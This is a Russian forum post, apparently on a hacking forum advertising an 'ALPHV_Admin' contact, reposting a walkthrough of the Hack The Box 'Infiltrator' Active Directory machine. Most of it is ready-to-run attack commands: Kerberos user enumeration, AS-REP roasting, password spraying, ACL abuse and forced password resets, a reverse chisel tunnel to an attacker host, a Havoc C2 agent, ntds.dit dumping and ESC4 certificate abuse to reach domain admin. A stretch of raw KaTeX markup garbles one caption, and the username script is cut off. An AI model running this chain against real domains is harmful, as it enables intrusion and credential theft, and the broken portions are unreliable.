• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Раскручиваем цепочку уязвимостей при атаке на Active Directory

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
508
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Мы проведем классический сбор данных в Active Directory и через цепочку разрешений скомпрометируем учетную запись, с которой получим сессию на хосте. Затем извлечем данные из мессенджера, вскроем приложение на .NET и проэксплуатируем планировщик задач для получения служебной учетной записи. Повысим привилегии через технику ESC4 для службы ADCS.
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.31 infiltrator.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 13 открытых портов:
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 3389 — служба удаленного рабочего стола;
  • 5985 — служба удаленного управления WinRM.
Добавим в /etc/hosts еще и полное имя машины, а затем начнем разведку с изучения сайта.

10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01
Главная страница сайта
Главная страница сайта

Точка входа​

На сайте находим список сотрудников. Выписываем их в отдельный файл.

Сотрудники компании
Сотрудники компании
С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.

Код:
import sys

if len(sys.argv)==1:
    print("Usage: " + sys.argv[0] + " <usernames.txt>")
    sys.exit(1)

names = open(sys.argv[1],"r").read().strip().split('\n')
list = []
for name in names:
    n1, n2 = name.split(' ')
    list.append(n1)
    list.append(n1+n2)
    list.append(n1+"."+n2)
    list.append(n1+"-"+n2)
    list.append(n1+"_"+n2)
    list.append(n1+n2[0])
    list.append(n1+"."+n2[0])
    list.append(n1+"-"+n2[0])
    list.append(n1+"_"+n2[0])
    list.append(n2[0]+n1)
    list.append(n2[0]+"."+n1)
    list.append(n2[0]+"-"+n1)
    list.append(n2[0]+"_"+n1)
    list.append(n2)
    list.append(n2+n1)
    list.append(n2+"."+n1)
    list.append(n2+"-"+n1)
    list.append(n2+"_"+n1)
    list.append(n2+n1[0])
    list.append(n2+"."+n1[0])
    list.append(n2+"-"+n1[0])
    list.append(n2+"_"+n1[0])
    list.append(n1[0]+n2)
    list.append(n1[0]+"."+n2)
    list.append(n1[0]+"-"+n2)
    list.append(n1[0]+"_"+n2)

for n in list:
    print
python3 getusers.py team.txt > pos_users.txt

Теперь можно использовать инструмент Для просмотра ссылки Войди или Зарегистрируйся для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.

kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt
Учетные записи в домене
Учетные записи в домене

Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.

GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass
Проведение атаки AS-REP Roasting
Проведение атаки AS-REP Roasting
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.

hashcat hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'
Проверка учетных данных
Проверка учетных данных
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.

nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users
Пользователи домена
Пользователи домена

В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.

nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success
Результат перебора
Результат перебора

На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.

nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success
Результат перебора
Результат перебора

Ошибка сменилась на KRB_AP_ERR_SKEW, а значит, нам нужно синхронизировать время на локальной машине с сервером.

Код:
sudo timedatectl set-ntp false
sudo ntpdate -s 10.10.11.31

Точка опоры​

У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта Для просмотра ссылки Войди или Зарегистрируйся.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.txt, в котором должны быть стандартные для любого домена записи DNS.

Код:
[A]
*.infiltrator.htb=10.10.11.31
[SRV]
_ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb

Затем отключаем системный резолвер и запускаем свой DNS-сервер.

sudo systemctl stop systemd-resolved
python3 dnschef.py --file ./infiltrator.txt
Запуск DNSChef
Запуск DNSChef

Затем используем скрипт Для просмотра ссылки Войди или Зарегистрируйся для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved.

Код:
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm
sudo systemctl start systemd-resolved

Сбор данных BloodHound
Сбор данных BloodHound

Строим граф от пользователя D.ANDERSON.

Граф BloodHound
Граф BloodHound

Пользователь D.ANDERSON имеет право GenericAll на подразделение MARKETING DIGITAL, где состоит пользователь E.RODRIGUEZ. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON полные права на всех членов MARKETING DIGITAL.

dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31
Назначение прав на подразделение
Назначение прав на подразделение.

Теперь D.ANDERSON имеет полные права на E.RODRIGUEZ и может сменить пароль целевой учетной записи. Эксплуатировать разрешения можно с помощью Для просмотра ссылки Войди или Зарегистрируйся.

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -k set password E.RODRIGUEZ 'RRrr!!11'
Изменение пароля пользователя E.RODRIGUEZ
Изменение пароля пользователя E.RODRIGUEZ

Так мы скомпрометировали еще одну учетную запись. Вернемся к нашему графу и обратим внимание, что пользователь E.RODRIGUEZ имеет право AddSelf на группу CHIEFS MARKETING. Это право позволяет пользователю добавить себя в целевую группу, что мы также можем сделать с помощью bloodyAD.

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k add groupMember 'CHIEFS MARKETING' E.RODRIGUEZ
Добавление пользователя в группу
Добавление пользователя в группу

Судя по графу, члены группы CHIEFS MARKETING имеют право ForceChangePassword на учетную запись M.HARRIS. Это право позволяет изменить пароль целевой учетной записи.

python3 bloodyAD.py --host "dc01.infiltrator.htb" --dc-ip 10.10.11.31 -d infiltrator.htb -u e.rodriguez -p 'RRrr!!11' -k set password M.HARRIS 'RRrr!!11'
Изменение пароля пользователя M.HARRIS
Изменение пароля пользователя M.HARRIS

Пользователь M.HARRIS состоит в группах DEVELOPERS, REMOTE MANAGEMENT USERS (можем авторизоваться по WinRM) и PROTECTED USERS. Из‑за последней группы мы не можем зайти по WinRM с использованием аутентификации NTLM, поэтому будем использовать Kerberos. Сначала запросим TGT-билет пользователя.

getTGT.py 'infiltrator.htb/m.harris:RRrr!!11' -dc-ip 10.10.11.31
Получение TGT-билета
Получение TGT-билета
А теперь внесем запись о домене в файл /etc/krb5.conf и получим сессию через Evil-WinRM.

Код:
[libdefaults]
        default_realm = INFILTRATOR.HTB
[realms]
        INFILTRATOR.HTB = {
                kdc = DC01.INFILTRATOR.HTB
        }

Так получаем первый флаг.

KRB5CCNAME='m.harris.ccache' evil-winrm -i dc01.infiltrator.htb -u 'm.harris' -r INFILTRATOR.HTB
Флаг пользователя
Флаг пользователя

Продвижение​

Для продвижения нам нужно собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост исполняемый файл для Windows и запустим сканирование. В выводе будет много всего, наша цель — найти потенциальные зацепки для продвижения.

Среди установленного ПО находим Output Messenger Server, при этом сразу узнаем, на каких портах работает софт.

Список ПО в автозагрузке
Список ПО в автозагрузке

Прослушиваемые TCP-порты
Прослушиваемые TCP-порты

Корпоративный мессенджер занимает много портов, поэтому нам необходимо туннелировать трафик. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр --p).

./chisel.bin server --p 8888 --reverse
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройки для туннеля. Будем прокидывать порты, занимаемые мессенджером.

.\chisel.exe client 10.10.16.17:8888 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14124:127.0.0.1:14124 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126
Когда туннель готов, скачиваем Для просмотра ссылки Войди или Зарегистрируйся и пробуем авторизоваться от имени k.turner.

Авторизация Output Messenger
Авторизация Output Messenger
Сообщения в чате Dev_Chat
Сообщения в чате Dev_Chat

В чате Dev_Chat говорится про какую‑то консольную утилиту для подключения к LDAP, при этом у нее есть опция подключения с дефолтными кредами. Также находим инструкцию по подключению, в которой указаны учетные данные пользователя m.harris.

Инструкция по использованию утилиты
Инструкция по использованию утилиты

Авторизуемся в мессенджере от имени пользователя m.harris и в чате с админом находим исполняемый файл.

Чат с админом
Чат с админом

Так как в приложении есть дефолтные учетные данные и написано оно на C#, мы можем его легко декомпилировать и получить еще одну учетку.


Пользователь winrm_svc​

Декомпилируем исполняемый файл через Для просмотра ссылки Войди или Зарегистрируйся и сразу находим зашифрованный пароль.

Результат декомпиляции программы
Результат декомпиляции программы
Немного перепишем декомпилированный код для расшифровки пароля и получим пароль в открытом виде.

Код:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace ConsoleApp2
{
    public class Decryptor
    {
        public static string DecryptString(string key, string cipherText)
        {
            using (Aes aes = Aes.Create())
            {
                aes.Key = Encoding.UTF8.GetBytes(key);
                aes.IV = new byte[16];
                ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
                using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
                {
                    using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
                    {
                        using (StreamReader streamReader = new StreamReader((Stream)cryptoStream))
                            return streamReader.ReadToEnd();
                    }
                }
            }
        }
    }

    internal class Program
    {
        static void Main(string[] args)
        {
            string str2 = "winrm_svc";
            string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
            string b64password = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
            b64password = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", b64password);
            Console.WriteLine(b64password);
        }
    }
}

Пароль в открытом виде
Пароль в открытом виде

С полученными учетными данными авторизуемся в корпоративном мессенджере, где продолжаем собирать данные из разных чатов. В чате упоминается, что каждый день пользователь, как по расписанию, получает уведомления. Также узнаем, что пользователь писал свой пароль в чате Chiefs_Marketing_chat.

Чат с пользователем
Чат с пользователем

Также в мессенджере находим ключ API для аккаунта lan_managment.

API-ключ
API-ключ

С полученным ключом мы можем обращаться к API мессенджера. Получим чаты по эндпоинту /api/chatrooms/.

curl -s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H 'Accept: application/json, text/javascript, [I]/[/I]' -H 'Host: infiltrator.htb:14125' '[URL]http://127.0.0.1:14125/api/chatrooms/[/URL]' | jq
Активные чаты
Активные чаты
Для получения содержимого чатов через API нам нужны идентификаторы, которые мы можем достать из базы данных мессенджера. От имени текущего пользователя подключаемся к службе WinRM.

evil-winrm -i dc01.infiltrator.htb -u winrm_svc -p 'WinRm@$svc^!^P'
Сессия пользователя winrm_svc
Сессия пользователя winrm_svc

Сессия o.martinez​

Переходим к каталогу приложения Output Messenger и, помимо логов, находим там еще один каталог.

Содержимое каталога Output Messenger
Содержимое каталога Output Messenger
В каталоге JAAA обнаруживаем файл базы данных OM.db3, который скачиваем на локальный хост.

Содержимое JAAA
Содержимое JAAA
Открываем файл через DB Browser и получаем идентификатор чата из таблицы om_chatroom.

Содержимое таблицы om_chatroom
Содержимое таблицы om_chatroom
Теперь получим логи чата через API /api/chatrooms/logs.

curl -s -k -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' -H 'Accept: application/json, text/javascript, [I]/[/I]' -H 'Host: infiltrator.htb:14125' '[URL]http://127.0.0.1:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2024/02/01&todate=2024/09/01[/URL]' | jq
Логи чата
Логи чата

В логах есть учетные данные, с которыми авторизуемся в мессенджере. Вспоминаем про запланированную задачу, о которой говорилось в чате, и переходим к календарю. Среди списка событий можно выбрать запуск приложения.

События Output Messenger
События Output Messenger

Указываем для запуска путь к файлу агента Havoc. Этот файл должен быть расположен по указанному пути и на нашем клиенте Windows, и на сервере.

Параметры события
Параметры события

Ровно в указанное время произойдет запуск агента.

Сессии Havoc
Сессии Havoc

Пользователь o.martinez​

У нового пользователя сразу изучим каталог мессенджера.

Содержимое каталога мессенджера
Содержимое каталога мессенджера

В каталоге FAAA есть скачанные файлы. В одной из папок — скачанный дамп трафика.

Содержимое каталога FAAA
Содержимое каталога FAAA
Скачанные файлы
Скачанные файлы

Командой download забираем файл PCAPNG на локальный хост для анализа в Wireshark. В дампе есть пакеты HTTP, а значит, есть шанс найти учетные данные.

Пакеты в Wireshark
Пакеты в Wireshark

Давай просмотрим все запросы и ответы HTTP в удобном виде, для чего выберем первый пакет HTTP и в контекстном меню нажмем «Отслеживать → HTTPS Stream».

Отслеживание HTTP
Отслеживание HTTP

В потоке 6 видим скачивание файла Bitlocker-backup.7z, а в потоке 11 находим пароль пользователя.

HTTP-запрос/ответ — поток 6
HTTP-запрос/ответ — поток 6

HTTP-запрос/ответ — поток 11
HTTP-запрос/ответ — поток 11

Учетные данные позволят нам подключиться по RDP, но перед этим сдампим из трафика скачанный архив. Для этого в Wireshark выбираем в меню «Файл → Экспортировать объекты → HTTP». В новом окне будет отображен список со всеми файлами из дампа. Все эти файлы можно сохранить локально.

Экспорт объектов HTTP
Экспорт объектов HTTP

Файлы из дампа трафика
Файлы из дампа трафика

Архив 7-Zip запаролен, поэтому с помощью Для просмотра ссылки Войди или Зарегистрируйся получаем хеш, который перебираем с помощью John the Ripper.

Код:
./7z2john.pl 'BitLocker-backup(1).7z' > 7z_hash.txt
john --wordlist=rockyou.txt 7z_hash.txt

Результат подбора пароля
Результат подбора пароля

В архиве есть сохраненная HTML-страница с ключами BitLocker.

Содержимое HTML-страницы
Содержимое HTML-страницы

Пользователь lan_managment​

Заходим по RDP как o.martinez и в проводнике сразу отмечаем зашифрованный диск E.

Проводник Windows
Проводник Windows

Расшифруем его с помощью ключа восстановления BitLocker с HTML-странички и увидим внутри резервную копию диска C.

Содержимое диска E
Содержимое диска E

В каталоге с документами у администратора есть резервная копия файла ntds.dit.

Документы администратора
Документы администратора
Содержимое архива
Содержимое архива

Файл ntds.dit содержит информацию о пользователях домена, включая хеши их паролей и ключ Kerberos. Извлечь учетные данные можно с помощью secretsdump из Impacket.

secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
Учетные данные пользователей домена
Учетные данные пользователей домена
Сохраняем имена доменных пользователей и их хеши в два файла и валидируем учетные данные с помощью NetExec.

nxc smb 10.10.11.31 -u ntds_users.txt -p ntds_passwords.txt --no-bruteforce --continue-on-success
Проверка учетных данных
Проверка учетных данных
И ни одна не оказалась валидной! Попробуем получить расширенную информацию о пользователях. Для анализа файла ntds.dit будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся.

ntdsdotsqlite ntds.dit --system SYSTEM -o NTDS.sqlite
В итоге получим базу данных SQLite со всеми данными. В описании пользователя lan_managment находим пароль от учетной записи.

Данные из файла ntds.dit
Данные из файла ntds.dit

Пользователь infiltrator_svc$​

Граф BloodHound показывает, что у пользователя lan_managment есть право ReadGMSAPassword на объект infiltrator_svc$.

Граф BloodHound
Граф BloodHound

Справка: MSA​

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем полностью управляет Active Directory.
Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш ее пароля. Сделаем это с помощью NetExec.

nxc ldap 10.10.11.31 -u lan_managment -p 'l@n_M@an!1331' --gmsa
Получение хеша учетной записи infiltrator_svc<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Получениехешаучетнойзаписи</mtext><mi>i</mi><mi>n</mi><mi>f</mi><mi>i</mi><mi>l</mi><mi>t</mi><mi>r</mi><mi>a</mi><mi>t</mi><mi>o</mi><msub><mi>r</mi><mi>s</mi></msub><mi>v</mi><mi>c</mi></mrow><annotation encoding=application/x-tex>' title='Получение хеша учетной записи infiltrator_svc</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8889em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Получениехешаучетнойзаписи</span><span class=mord mathnormal>in</span><span class=mord mathnormal style=margin-right:0.10764em;>f</span><span class=mord mathnormal>i</span><span class=mord mathnormal>lt</span><span class=mord mathnormal style=margin-right:0.02778em;>r</span><span class=mord mathnormal>a</span><span class=mord mathnormal>t</span><span class=mord mathnormal>o</span><span class=mord><span class=mord mathnormal style=margin-right:0.02778em;>r</span><span class=msupsub><span class=vlist-t vlist-t2><span class=vlist-r><span class=vlist style=height:0.1514em;><span style=top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mathnormal mtight>s</span></span></span></span><span class=vlist-s></span></span><span class=vlist-r><span class=vlist style=height:0.15em;><span></span></span></span></span></span></span><span class=mord mathnormal style=margin-right:0.03588em;>v</span><span class=mord mathnormal>c</span></span></span></span>
Получение хеша учетной записи infiltrator_svc$
У нас есть хеш пароля учетной записи infiltrator_svc$, а значит, мы скомпрометировали еще одну учетную запись.


Локальное повышение привилегий​


ESC4​

На сервере развернута служба сертификации Active Directory, а значит, стоит проверить настройки ADCS и активных шаблонов сертификатов. Для этого будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся.

certipy find -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -vulnerable -stdout
Шаблон сертификата Infiltrator_Template
Шаблон сертификата Infiltrator_Template
Утилита отмечает, что шаблон сертификата Infiltrator_Template можно использовать для эксплуатации уязвимости ESC4.

Справка: ESC4​

Уязвимость ESC4 заключается в том, что атакующий может изменять свойства шаблона сертификата. Например, мы можем изменить параметры сертификата так, чтобы он был уязвим к ESC1 — когда шаблон сертификата разрешает проверку подлинности клиента и дает запрашивающему указать произвольное альтернативное имя субъекта (SAN). Это приводит к тому, что мы можем пройти аутентификацию от имени привилегированного пользователя, включая администратора домена.
Модифицируем шаблон сертификата Infiltrator_Template, а затем запросим сертификат на имя пользователя administrator.

Код:
certipy template -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -template Infiltrator_Template -save-old

certipy req -u 'infiltrator_svc$' -hashes 407546ca61cd7d3870e7dc6b0b007ecd -dc-ip 10.10.11.31 -ca infiltrator-DC01-CA -target infiltrator.htb -template Infiltrator_Template -upn administrator@infiltrator.htb
Запрос сертификата
Запрос сертификата
С помощью техники UnPAC the hash по сертификату запросим TGT-билет пользователя и извлечем из него хеш пароля администратора.

certipy auth -pfx administrator.pfx
UnPAC the hash
UnPAC the hash
Осталось авторизоваться на сервере и забрать последний флаг.

evil-winrm -i dc01.infiltrator.htb -u administrator -H 1356f502d2764368302ff0369b1121a1
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу